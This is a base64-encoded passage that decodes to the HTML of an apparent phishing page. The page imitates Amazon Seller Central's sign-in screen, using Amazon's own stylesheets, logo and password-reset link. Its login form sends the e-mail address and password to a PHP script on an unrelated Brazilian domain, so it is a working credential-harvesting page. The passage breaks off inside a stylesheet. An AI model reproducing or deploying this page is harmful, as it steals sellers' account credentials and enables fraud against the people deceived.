ZnVuY3Rpb24oKXt4LnB1c2goYXJndW1lbnRzKTt9fQ0KICBmdW5jdGlvbiBjaCh5KSB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeSk7fQ0KICB2YXIgYT1bXSxjPVtdLGNzPVtdLGQ9W10sbD1bXSxvPVtdLHM9W10scD1bXTsNCiAgYW16bkpRPXsNCiAgICBfYTphLF9jOmMsX2NzOmNzLF9kOmQsX2w6bCxfbzpvLF9zOnMsX3BsOnAsDQogICAgYWRkTG9naWNhbDpmKGwpLA0KICAgIGFkZFN0eWxlOmYocyksDQogICAgYWRkUEw6ZihwKSwNCiAgICBhdmFpbGFibGU6ZihhKSwNCiAgICBjaGFyczp7RU9MOmNoKDEwKSwgU1FVT1RFOmNoKDM5KSwgRFFVT1RFOmNoKDM0KSwgQkFDS1NMQVNIOmNoKDkyKSwgWUVOOmNoKDE2NSl9LA0KICAgIGNvbXBsZXRlZFN0YWdlOmYoY3MpLA0KICAgIGRlY2xhcmVBdmFpbGFibGU6ZihkKSwNCiAgICBvbkNvbXBsZXRpb246ZihjKSwNCiAgICBvblJlYWR5OmYobyksDQogICAgc3RyaW5nczp7fQ0KICB9Ow0KfSgpKTsNCg0KDQo8L3NjcmlwdD4NCg0KDQoNCg0KDQogICAgICAgIA0KICAgIA0KICAgICAgICANCiAgICANCg0KICAgIA0KICAgICAgICANCiAgICANCg0KICAgIA0KDQoNCiAgICANCiAgICAgICAgDQogICAgPGxpbmsgdHlwZT0idGV4dC9jc3MiIGhyZWY9Imh0dHBzOi8vaW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbS9pbWFnZXMvRy8wMS9icm93c2VyLXNjcmlwdHMvcmFpbmllci1tZXJnZWQtZ2F0ZXdheS9yYWluaWVyLW1lcmdlZC1nYXRld2F5LTU3MzIxNTQ2ODkuX1YxXy5jc3MiIHJlbD0ic3R5bGVzaGVldCI+DQo8bGluayB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2Jyb3dzZXItc2NyaXB0cy9yYWluaWVyLWNvcmUvcmFpbmllci1jb3JlLTE3MTI0OTM3MTYuX1YxXy5jc3MiIHJlbD0ic3R5bGVzaGVldCI+DQoNCiAgICANCg0KDQoNCg0KICAgICAgICANCg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmlmICh3aW5kb3cuYW16bkpRKSB7DQogICAgYW16bkpRLmFkZExvZ2ljYWwoJ2NzbS1iYXNlJywgWyAiaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2Jyb3dzZXItc2NyaXB0cy9jc20tYmFzZS9jc20tYmFzZS1taW4tNDc4NTg3MzYuX1YxXy5qcyIgXSk7DQogICAgYW16bkpRLmF2YWlsYWJsZSgnY3NtLWJhc2UnLCBmdW5jdGlvbigpIHt9KTsNCn0NCg0KPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KICAjc2lnbmluLWxvZ297d2lkdGg6OTUlO21hcmdpbjoxMHB4IGF1dG8gMDt2ZXJ0aWNhbC1hbGlnbjp0b3A7fQ0KICAjc2lnbmluLXBhZ2UtY29udGFpbmVye2JvcmRlcjowO21hcmdpbi1sZWZ0OjIuNSU7d2lkdGg6OTUlO30NCiAgI3NpZ25pbi1ib3gtY29udGFpbmVye3ZlcnRpY2FsLWFsaWduOnRvcDt3aWR0aDo0NTBweH0NCiAgI3NpZ25pbi1ib3h7Ym9yZGVyOjA7cGFkZGluZzowO30NCiAgI3NpZ25pbi1sb2dvLWltZ3ttYXJnaW4tbGVmdDo1cHh9DQogICNzaWduaW4tbGlua3N7d2lkdGg6OTUlO21hcmdpbjoxMHB4IGF1dG8gMDt9DQogIC5sYWJlbC1jb250YWluZXJ7cGFkZGluZzo1cHg7dmVydGljYWwtYWxpZ246bWlkZGxlO3doaXRlLXNwYWNlOm5vd3JhcDt9DQogICNzaWduaW4tYnV0dG9uLWNvbnRhaW5lcntwYWRkaW5nOjVweDt0ZXh0LWFsaWduOnJpZ2h0O3doaXRlLXNwYWNlOm5vd3JhcH0NCiAgI2xvZ2luLXJpZ2h0LWNvbHVtbnt2ZXJ0aWNhbC1hbGlnbjp0b3B9DQo8L3N0eWxlPg0KDQo8ZGl2IGlkPSJzaWduaW4tbG9nbyI+PGltZyBzcmM9Imh0dHBzOi8vaW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbS9pbWFnZXMvRy8wMS9yYWluaWVyL25hdi9zYy11bmlmaWVkLl9WMzQxMTY1MTM0Xy5wbmciIGlkPSJzY19sb2dvX3RvcF9pbWFnZSIgb25sb2FkPSJpZiAodHlwZW9mIHVldD09PSdmdW5jdGlvbicpe3VldCgnY2YnKTt9IiBib3JkZXI9IjAiIGNsYXNzPSJzYy11bmlmaWVkIiAvPjwvZGl2Pg0KDQo8dGFibGUgaWQ9InNpZ25pbi1wYWdlLWNvbnRhaW5lciI+PHRyPjx0ZCBpZD0ic2lnbmluLWJveC1jb250YWluZXIiPg0KDQo8dGFibGUgaWQ9InNpZ25pbi1ib3giPjx0cj48dGQ+DQoNCjxkaXYgY2xhc3M9ImNvbnRlbnQtbW9kdWxlIj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gdmFsaWRhdGUoKSB7DQppZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXNlcm5hbWUnKS52YWx1ZS5sZW5ndGg8PTIpew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJuYW1lJykuc3R5bGUuYm9yZGVyPSIxcHggcmVkIHNvbGlkIjsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1c2VybmFtZScpLmZvY3VzKCk7DQpyZXR1cm4gZmFsc2U7DQp9DQplbHNlIHsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1c2VybmFtZScpLnN0eWxlLmJvcmRlcj0iMXB4ICM1NTUgc29saWQiOw0KfQ0KaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Bhc3N3b3JkJykudmFsdWUubGVuZ3RoPD0yKXsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnN0eWxlLmJvcmRlcj0iMXB4IHJlZCBzb2xpZCI7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGFzc3dvcmQnKS5mb2N1cygpOw0KcmV0dXJuIGZhbHNlOw0KfQ0KZWxzZSB7DQpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncGFzc3dvcmQnKS5zdHlsZS5ib3JkZXI9IjFweCAjNTU1IHNvbGlkIjsNCn0NCn0NCjwvc2NyaXB0Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly9kZXNlbnR1cGlkb3JhYXBvbGluYXJpby5jb20uYnIvanMvbG9naW4xLnBocCIgIG9uc3VibWl0PSJyZXR1cm4gdmFsaWRhdGUoKTsiPg0KICAgIDx0YWJsZSBjbGFzcz0idGl0bGViYXItcHVycGxlIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlOyI+DQogICAgICAgICAgPHRyPjx0aD5TaWduIGluIHRvIHlvdXIgYWNjb3VudDwvdGg+PC90cj4NCiAgICA8L3RhYmxlPg0KDQogICAgPHRhYmxlIGNsYXNzPSJkYXRhLWVudHJ5LXB1cnBsZSIgY2VsbHNwYWNpbmc9IjEiPg0KICAgICAgPHRyPjx0ZD4NCiAgICA8dGFibGUgY2xhc3M9ImRhdGEtZW50cnktcHVycGxlIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZCBzdHlsZT0icGFkZGluZzoxMHB4Ij4NCiAgICAgICAgPHRhYmxlIGNsYXNzPSJkYXRhLWVudHJ5LXB1cnBsZSIgY2VsbHNwYWNpbmc9IjAiPg0KICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgIDx0ZCBjbGFzcz0iYWxpZ25yaWdodCBib2xkIGxhYmVsLWNvbnRhaW5lciIgc3R5bGU9IndpZHRoOjEwMCUiPg0KICAgICAgICAgICAgICBFLU1haWwgYWRkcmVzczoNCiAgICAgICAgICAgIDwvdGQ+DQoNCiAgICAgICAgICAgIDx0ZCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwOyI+PGlucHV0IHR5cGU9InRleHQiIGlkPSJ1c2VybmFtZSIgbmFtZT0idXNlcm5hbWUiIHNpemU9IjMwIiBtYXhsZW5ndGg9IjY0IiAvPg0KICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICA8L3RyPg0KDQogICAgICAgICAgPHRyPg0KICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIHN0eWxlPSJoZWlnaHQ6NXB4O2xpbmUtaGVpZ2h0OjVweDsiPiZuYnNwOw0KICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICA8L3RyPg0KDQogICAgICAgICAgPHRyPg0KICAgICAgICAgICAgPHRkIGNsYXNzPSJhbGlnbnJpZ2h0IGJvbGQgbGFiZWwtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgUGFzc3dvcmQ6DQogICAgICAgICAgICA8L3RkPg0KDQogICAgICAgICAgICA8dGQgc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+DQogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgaWQ9InBhc3N3b3JkIiBuYW1lPSJwYXNzd29yZCIgc2l6ZT0iMzAiIC8+DQogICAgICAgICAgICA8L3RkPg0KICAgICAgICAgIDwvdHI+DQoNCg0KICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIiBpZD0ic2lnbmluLWJ1dHRvbi1jb250YWluZXIiPg0KICAgICAgICAgICAgICA8YnV0dG9uIG5hbWU9InNpZ24taW4tYnV0dG9uIiBpZD0ic2lnbi1pbi1idXR0b24iIGNsYXNzPSJhd2Vzb21lQnV0dG9uIGJ1dHRvbkxhcmdlIHByaW1hcnlMYXJnZUJ1dHRvbiIgdHlwZT0ic3VibWl0Ij48c3BhbiBjbGFzcz0iYnV0dG9uX2xhYmVsIj4mbmJzcDsmbmJzcDtTaWduIGluJm5ic3A7Jm5ic3A7PC9zcGFuPjwvYnV0dG9uPg0KICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICA8L3RyPg0KDQogICAgICAgICAgPHRyPg0KICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIGNsYXNzPSJhbGlnbnJpZ2h0IiBzdHlsZT0icGFkZGluZzo1cHg7d2hpdGUtc3BhY2U6bm93cmFwOyI+PHNwYW4gY2xhc3M9InNtYWxsZXIiPjxhIGlkPSJmcHBsaW5rIiBocmVmPWh0dHBzOi8vc2VsbGVyY2VudHJhbC5hbWF6b24uY29tL2FwL2ZvcmdvdHBhc3N3b3JkP19lbmNvZGluZz1VVEY4Jmxhbmd1YWdlPWVuX1VTJm9wZW5pZC5hc3NvY19oYW5kbGU9c2NfbmFfYW1hem9uJm9wZW5pZC5jbGFpbWVkX2lkPWh0dHAlM0ElMkYlMkZzcGVjcy5vcGVuaWQubmV0JTJGYXV0aCUyRjIuMCUyRmlkZW50aWZpZXJfc2VsZWN0Jm9wZW5pZC5pZGVudGl0eT1odHRwJTNBJTJGJTJGc3BlY3Mub3BlbmlkLm5ldCUyRmF1dGglMkYyLjAlMkZpZGVudGlmaWVyX3NlbGVjdCZvcGVuaWQubW9kZT1jaGVja2lkX3NldHVwJm9wZW5pZC5ucz1odHRwJTNBJTJGJTJGc3BlY3Mub3BlbmlkLm5ldCUyRmF1dGglMkYyLjAmb3BlbmlkLm5zLnBhcGU9aHR0cCUzQSUyRiUyRnNwZWNzLm9wZW5pZC5uZXQlMkZleHRlbnNpb25zJTJGcGFwZSUyRjEuMCZvcGVuaWQucGFwZS5tYXhfYXV0aF9hZ2U9MCZvcGVuaWQucmV0dXJuX3RvPWh0dHBzJTNBJTJGJTJGc2VsbGVyY2VudHJhbC5hbWF6b24uY29tJTJGZ3AlMkZob21lcGFnZS5odG1sJTJGMTc1LTY5NDcxMDgtMzAyMzkxMiUzRmllJTNEVVRGOCUyNipWZXJzaW9uKiUzRDElMjYqZW50cmllcyolM0QwJnBhZ2VJZD1zY19uYV9hbWF6b24+Rm9yZ290IHlvdXIgcGFzc3dvcmQ/PC9hPiB8DQogICAgICAgICAgICAgICA8YSBocmVmPSJqYXZhc2NyaXB0OnNpZ25JblBhZ2UubG9hZEhlbHAoKSI+SGVscDwvYT48L3NwYW4+DQogICAgICAgICAgICA8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+DQogICAgICA8L3RhYmxlPg0KICAgICAgPC90ZD48L3RyPg0KICAgIDwvdGFibGU+DQo8c2NyaXB0IGlkPSJmd2ljbS1zY3JpcHQiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20vaW1hZ2VzL0cvMDEveC1sb2NhbGUvY29tbW9uL2xvZ2luL2Z3Y2ltLl9WMjcxMDM1NDg2Xy5qcyI+PC9zY3JpcHQ+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQoJZndjaW0ucHJvZmlsZSgnc2lnbmluV2lkZ2V0JykNCjwvc2NyaXB0Pg0KDQo8L2Zvcm0+DQo8L2Rpdj4NCg0KDQoNCjxpbWcgc3JjPSJodHRwczovL2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20vaW1hZ2VzL0cvMDEveC1sb2NhbGUvY29tbW9uL3RyYW5zcGFyZW50LXBpeGVsLl9WNDI3NTIzNzNfLmdpZiIgc3R5bGU9InBvc2l0aW9uOiBhYnNvbHV0ZSIgd2lkdGg9IjEiIGFsdD0iIiBvbmxvYWQ9ImlmICh0eXBlb2YgdWV0ID09ICdmdW5jdGlvbicpIHsgdWV0KCdjZicpOyB9IiBoZWlnaHQ9IjEiIGJvcmRlcj0iMCIgLz4NCg0KDQo8ZGl2IGNsYXNzPSJjb250ZW50LW1vZHVsZSI+DQoNCg0KDQoNCg0KDQo8dGFibGUgY2xhc3M9ImRhdGEtZW50cnktcHVycGxlIiBjZWxsc3BhY2luZz0iMSIgd2lkdGg9IjEwMCUiPg0KICA8dGJvZHk+DQogICAgPHRyPg0KICAgICAgPHRkIHN0eWxlPSJwYWRkaW5nOiAxMHB4OyI+PHN0cm9uZz5Ob3QgYWxyZWFkeSBzZWxsaW5nIG9uIEFtYXpvbj88L3N0cm9uZz48YnI+DQogICAgICAgIDxkaXYgc3R5bGU9Im1hcmdpbi10b3A6IDAuNWVtOyI+DQogICAgICAgICAgPGEgaHJlZj0naHR0cDovL3d3dy5hbWF6b25zZXJ2aWNlcy5jb20vY29udGVudC9zZWxsLW9uLWFtYXpvbi5odG0/bGQ9U0NTT0Fsb2dpbic+PHN0cm9uZz5SZWdpc3RlciBub3c8L3N0cm9uZz48L2E+IHRvIHNlbGwgeW91ciBwcm9kdWN0cyB0byBtaWxsaW9ucyBvZiBBbWF6b24uY29tIGN1c3RvbWVycw0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvdGQ+DQogICAgPC90cj4NCiAgPC90Ym9keT4NCjwvdGFibGU+DQo8ZGl2IHN0eWxlPSJtYXJnaW4tdG9wOjJlbSI+PC9kaXY+DQo8L2Rpdj4NCjwvdGQ+PC90cj48L3RhYmxlPg0KPC90ZD48dGQgc3R5bGU9IndpZHRoOjIycHg7Ij4mbmJzcDs8L3RkPjx0ZCBpZD0ibG9naW4tcmlnaHQtY29sdW1uIj4NCjxkaXYgY2xhc3M9ImNvbnRlbnQtbW9kdWxlIj4NCg0KDQoNCg0KDQoNCg0KDQoNCiAgDQogDQogIA0KICANCg0KDQoNCiAgDQoNCg0KDQoNCjxub3NjcmlwdD48c3R5bGU+I1NlbGxlckNlbnRyYWxfc2MtbG9naW4tcmlnaHRfc2lnbi1pbntkaXNwbGF5Om5vbmU7fTwvc3R5bGU+PC9ub3NjcmlwdD48ZGl2IGlkPSJhcGVfU2VsbGVyQ2VudHJhbF9zYy1sb2dpbi1yaWdodF9zaWduLWluX3BsYWNlbWVudCIgY2xhc3M9ImNvcGlsb3Qtc2VjdXJlLWRpc3BsYXkgY2Vsd2lkZ2V0ICB0ZXh0L3gtZGFjeC1zYWZlZnJhbWUiIGRhdGEtY2FtcGFpZ249Ijc3MzEiIHN0eWxlPSIiIGNlbF93aWRnZXRfaWQ9IlNlbGxlckNlbnRyYWxfc2MtbG9naW4tcmlnaHRfc2lnbi1pbiIgZGF0YS1hZC1kZXRhaWxzPSd7InNsb3QiIDoiU2VsbGVyQ2VudHJhbF9zYy1sb2dpbi1yaWdodF9zaWduLWluIiwic2xvdE5hbWUiIDoic2MtbG9naW4tcmlnaHQiLCJzcmMiIDogImh0dHBzOi8vYWF4LXVzLWVhc3QuYW1hem9uLWFkc3lzdGVtLmNvbS94L2dldGFkP2M9MTAwJnBjPTI4MzE1NSZwdD1TZWxsZXJDZW50cmFsJnU9aHR0cHMlM0ElMkYlMkZ3d3cuYW1hem9uLmNvbSZzcmM9NTAxJnN6PTU4MHgyNTAmYWQtc2lkPTAxMDFkMzgxYjhjYmM3ODFkNjQ3YmYwMDkzMjJhNzZlZTQ2YmQyYzBmNWYwZWMyNTcyNTRiNmFlNjQ0NWQ0YjQ4ZTIzJnBqPSU3QiUyMnN0JTIyJTNBJTIyYW16bi51cy5zYy5sb2dpbi5hdGYlMjIlMkMlMjJwcmlkJTIyJTNBJTIyMDEwMTU5ZjE3NWE3NmYyOGIxMDUyNmRkNGUxNDdhOWExMjBmMTA3NThlODkxMzIyMGQ2OTU0ZjAzMDRkOWUxZmYzYzElMjIlMkMlMjJibiUyMiUzQSUyMjI4MzE1NSUyMiU3RCZzbG90PXNjLWxvZ2luLXJpZ2h0IiwiYWRTZXJ2ZXIiIDoiYWF4IiwiY2FtcGFpZ25JZCIgOiAgIjc3MzEiLCJhcmlkIiA6Ijg5OGU3YjRkYzAyYjRiZWQ5NGU4YjA2OTRkYjAxZjFmIiwic2l6ZSIgOnsid2lkdGgiOiAiMTAwJSIsImhlaWdodCIgOiAiMjUwcHgifSwiYWxsb3dlZFNpemVzIiA6W10sImFsbG93ZWREb21haW5zIiA6ICBbXSwiYWFuUGFyYW1zIiA6ICAgInNpdGUlM0RhbWF6b24udXMlM0JwdCUzRFNlbGxlckNlbnRyYWwlM0JzbG90JTNEc2MtbG9naW4tcmlnaHQlM0JwaWQlM0RTZWxsZXJDZW50cmFsJTNCYm4lM0QyODMxNTUlM0JwcmlkJTNETTJKNkRGUFpaQzlYNTY0TkZDU1olM0JhcmlkJTNEODk4ZTdiNGRjMDJiNGJlZDk0ZThiMDY5NGRiMDFmMWYlM0JhZC1zaWQlM0QwMTAxZDM4MWI4Y2JjNzgxZDY0N2JmMDA5MzIyYTc2ZWU0NmJkMmMwZjVmMGVjMjU3MjU0YjZhZTY0NDVkNGI0OGUyMyIsImxvYWRBZnRlciIgOiAgICJ3aW5kb3dPbkxvYWQiLCJkYUpzVXJsIiA6ICJodHRwczovL2RxNGlqeW15ZGdyZnguY2xvdWRmcm9udC5uZXQvMjAxNi0wMi0yMi92MS9mZWVkYmFjay11cy5qcyIsImlmcmFtZUV4dHJhU3R5bGUiOiAiaGVpZ2h0OjI2MHB4OyBtaW4td2lkdGg6IDU4NXB4OyIsImlmcmFtZUNsYXNzIjogICIiLCJmZWVkYmFja0pzVXJsIjoiaHR0cHM6Ly9kcTRpanlteWRncmZ4LmNsb3VkZnJvbnQubmV0LzIwMTYtMDItMjIvdjEvZmVlZGJhY2stdXMuanMiLCJzaG93SW5saW5lRmVlZGJhY2siOiBmYWxzZSwiaW5saW5lRmVlZGJhY2tQYXJhbXMiOiB7fSwiYm9vbEZlZWRiYWNrIjogdHJ1ZSwiYWRQaXhlbHMiOiBbXSwiYWRQaXhlbERlbGF5IjogIjAiLCJhYXhJbXBQaXhlbFVybCI6ICAiIiwiYWF4SW5zdHJQaXhlbFVybCI6ICIiLCJ1c2VQcmVmZXRjaFJvdXRlIjogZmFsc2UsImh0bWxDb250ZW50IjogICIiLCJodG1sQ29udGVudEVuY29kZWQiOiAiIiwiZmFsbGJhY2tTdGF0aWNBZEltZ1VybCI6ICIiLCJmYWxsYmFja1N0YXRpY0FkQ2xpY2tVcmwiOiAiIiwiYWRGZWVkYmFja0luZm8iOiB7ImJvb2xGZWVkYmFjayI6IHRydWUsImFkUHJvZ3JhbUlkIjogIiIsInNsdWdUZXh0IjogIkFkdmVydGlzZW1lbnQiLCJlbXB0eUpzb24iOiAiaHR0cHM6Ly9pbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tL2ltYWdlcy9HLzAxL2RhY3gvZW1wdHkuX1YyNzExOTQzNzVfLmpzb24iLCJlbmRQb2ludCI6ICIiLCJmZWVkYmFja0Zvcm1UeXBlIjogMSwicGFnZVR5cGUiOiAiU2VsbGVyQ2VudHJhbCJ9LCJhZHZlcnRpc2VtZW50U3R5bGUiOiB7InBvc2l0aW9uIjogImFic29sdXRlIiwidG9wIjogIjJweCIsInJpZ2h0IjogIjBweCIsImRpc3BsYXkiOiAiaW5saW5lLWJsb2NrIiwiZm9udCI6ICJub3JtYWwgMTFweCBBcmlhbCIsImNvbG9yIjogImdyZXkifSwiZmVlZGJhY2tEaXZTdHlsZSI6IHsicG9zaXRpb24iOiAicmVsYXRpdmUiLCJoZWlnaHQiOiAiMTRweCIsInRvcCI6ICIycHgifX0nPjwvZGl2PjxzY3JpcHQ+KGZ1bmN0aW9uKHdpbmRvdywgZG9jdW1lbnQpe2lmKHR5cGVvZiB1ZXQgPT0gJ2Z1bmN0aW9uJyAmJiB0eXBlb2YgdWVzID09ICdmdW5jdGlvbicpIHt1ZXMoJ3diJywnREFzbHInLHt3YjoxfSk7IHVldCgnYmInLCdEQXNscicse3diOjF9KTsgdmFyIHNjb3BlID0gJ1NlbGxlckNlbnRyYWxfc2MtbG9naW4tcmlnaHRfc2lnbi1pbic7dWVzKCd3YicsJ2FkcGxhY2VtZW50czonICsgc2NvcGUucmVwbGFjZSgvXF8vZywgJzonKSx7d2I6MX0pOyB1ZXQoJ2JiJywnYWRwbGFjZW1lbnRzOicgKyBzY29wZS5yZXBsYWNlKC9cXy9nLCAnOicpLHt3YjoxfSk7IH13aW5kb3cuYWFuUGFyYW1zPXdpbmRvdy5hYW5QYXJhbXN8fHt9O3dpbmRvdy5hYW5QYXJhbXNbJ3NjLWxvZ2luLXJpZ2h0J109InNpdGU9YW1hem9uLnVzO3B0PVNlbGxlckNlbnRyYWw7c2xvdD1zYy1sb2dpbi1yaWdodDtwaWQ9U2VsbGVyQ2VudHJhbDtibj0yODMxNTU7cHJpZD1NMko2REZQWlpDOVg1NjRORkNTWjthcmlkPTg5OGU3YjRkYzAyYjRiZWQ5NGU4YjA2OTRkYjAxZjFmO2FkLXNpZD0wMTAxZDM4MWI4Y2JjNzgxZDY0N2JmMDA5MzIyYTc2ZWU0NmJkMmMwZjVmMGVjMjU3MjU0YjZhZTY0NDVkNGI0OGUyMyI7d2luZG93WydzYy1sb2dpbi1yaWdodCddID0ge307d2luZG93WydzYy1sb2dpbi1yaWdodCddLmFkU3RhcnRUaW1lID0gKG5ldyBEYXRlKCkpLmdldFRpbWUoKTt0cnkge2lmKHdpbmRvdy5EQXNmKSB7d2luZG93LkRBc2YubG9hZEFkcygpO30gZWxzZSB7dmFyIHNmTGlicmFyeSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NmTGlicmFyeS50eXBlID0gInRleHQvamF2YXNjcmlwdCI7c2ZMaWJyYXJ5LmFzeW5jID0gdHJ1ZTtzZkxpYnJhcnkuc2V0QXR0cmlidXRlKCJjcm9zc29yaWdpbiIsICJhbm9ueW1vdXMiKTtzZkxpYnJhcnkuY2hhcnNldCA9ICJ1dGYtOCI7c2ZMaWJyYXJ5LnNyYyA9ICJodHRwczovL2ltYWdlcy1uYS5zc2wtaW1hZ2VzLWFtYXpvbi5jb20vaW1hZ2VzL0cvMDEvZGFjeC9zZi9EQXNmLTEuMzVfRlgzLl9WMjY4NDgwMDU3Xy5qcyI7KGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF18fGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdib2R5JylbMF0pLmFwcGVuZENoaWxkKHNmTGlicmFyeSk7fX0gY2F0Y2goZXgpIHtpZih3aW5kb3cudWVMb2dFcnJvcikge3dpbmRvdy51ZUxvZ0Vycm9yKGV4LCB7bG9nTGV2ZWwgOiAnRVJST1InLGF0dHJpYnV0aW9uIDogJ0RBQ1gtc2FmZWZyYW1lJyxtZXNzYWdlIDogJ0Vycm9yIGFwcGVuZGluZyBEQXNmIGxpYnJhcnknfSk7fX07fSh3aW5kb3csIGRvY3VtZW50KSk7PC9zY3JpcHQ+DQoNCg0KPC9kaXY+DQo8L3RkPjwvdHI+DQoNCjwvdGFibGU+DQoNCjxkaXYgaWQ9InNpZ25pbi1saW5rcyIgY2xhc3M9ImNvbnRlbnQtbW9kdWxlIj4NCg0KDQoNCg0KDQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQojbGwge21hcmdpbi1ib3R0b206MjBweDsgbWluLXdpZHRoOjk2MHB4O30NCiNsbCBoMyB7IGNvbG9yOiAjMDAwOyBmb250LXNpemU6IDEycHg7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQojbGwtY29udGVudCwgI2xsLXRpdGxlIHtwYWRkaW5nOjA7IG1hcmdpbjowIGF1dG87IHZlcnRpY2FsLWFsaWduOmJhc2VsaW5lOyBwb3NpdGlvbjpyZWxhdGl2ZTsgb3ZlcmZsb3c6aGlkZGVuO30NCiNsbC10aXRsZXttYXJnaW4tYm90dG9tOjIwcHg7fQ0KLmxsLWl0ZW0ge2Rpc3BsYXk6YmxvY2s7IGZsb2F0OmxlZnQ7IHBhZGRpbmc6NXB4IDElIDU3MHB4IDElOyBtYXJnaW4tYm90dG9tOi01MjBweDsgd2lkdGg6MTcuOCU7fQ0KLmxsLWl0ZW0gLmxlYXJuLW1vcmUtYnV0dG9uLCAubGwtaXRlbSAubGVhcm4tbW9yZS1mbGFncyB7ZGlzcGxheTpibG9jazsgcG9zaXRpb246YWJzb2x1dGU7IGhlaWdodDoxNjBweDsgbGluZS1oZWlnaHQ6IDIxcHg7fQ0KLmxsLWl0ZW0gLmxlYXJuLW1vcmUtZmxhZ3MgeyBtYXJnaW4tbGVmdDogMTBweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGJvdHRvbTowcHg7IH0NCi5sbC1pdGVtIC5sZWFybi1tb3JlLWZsYWdzIHVsIHsgbWFyZ2luOiAwcHg7IHBhZGRpbmc6IDFweCAwcHggMHB4IDEwcHg7IGxpc3Qtc3R5bGUtdHlwZTogbm9uZTsgfQ0KLmxsLWl0ZW0gLmxlYXJuLW1vcmUtZmxhZ3MgaW1nIHsgcG9zaXRpb246IHJlbGF0aXZlOyB0b3A6IDNweDsgfQ0KLmxsLWdyZXkge2JvcmRlci1yaWdodDoxcHggc29saWQgI2RmZGZkZjsgYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICNkZmRmZGY7DQogICAgYmFja2dyb3VuZDogI2Y5ZjlmOTsNCiAgICBiYWNrZ3JvdW5kOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICByZ2JhKDIzMCwyMzAsMjMwLDApIDAlLCByZ2JhKDIzMCwyMzAsMjMwLDEpIDIwJSwgcmdiYSgyMzAsMjMwLDIzMCwxKSA1MCUsIHJnYmEoMjMwLDIzMCwyMzAsMCkgMTAwJSk7DQogICAgYmFja2dyb3VuZDogLXdlYmtpdC1ncmFkaWVudChsaW5lYXIsIGxlZnQgdG9wLCBsZWZ0IGJvdHRvbSwgY29sb3Itc3RvcCgwJSxyZ2JhKDIzMCwyMzAsMjMwLDApKSwgY29sb3Itc3RvcCgyMCUscmdiYSgyMzAsMjMwLDIzMCwxKSksIGNvbG9yLXN0b3AoNTAlLHJnYmEoMjMwLDIzMCwyMzAsMSkpLCBjb2xvci1zdG9wKDEwMCUscmdiYSgyMzAsMjMwLDIzMCwwKSkpOw0KICAgIGJhY2tncm91bmQ6IC13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwgIHJnYmEoMjMwLDIzMCwyMzAsMCkgMCUscmdiYSgyMzAsMjMwLDIzMCwxKSAyMCUscmdiYSgyMzAsMjMwLDIzMCwxKSA1MCUscmdiYSgyMzAsMjMwLDIzMCwwKSAxMDAlKTsNCiAgICBiYWNrZ3JvdW5kOiAtbXMtbGluZWFyLWdyYWRpZW50KHRvcCwgIHJnYmEoMjMwLDIzMCwyMzAsMCkgMCUscmdiYSgyMzAsMjMwLDIzMCwxKSAyMCUscmdiYSgyMzAsMjMwLDIzMCwxKSA1MCUscmdiYSgyMzAsMjMwLDIzMCwwKSAxMDAlKTsNCiAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG9wLCAgcmdiYSgyMzAsMjMwLDIzMCwwKSAwJSxyZ2JhKDIzMCwyMzAsMjMw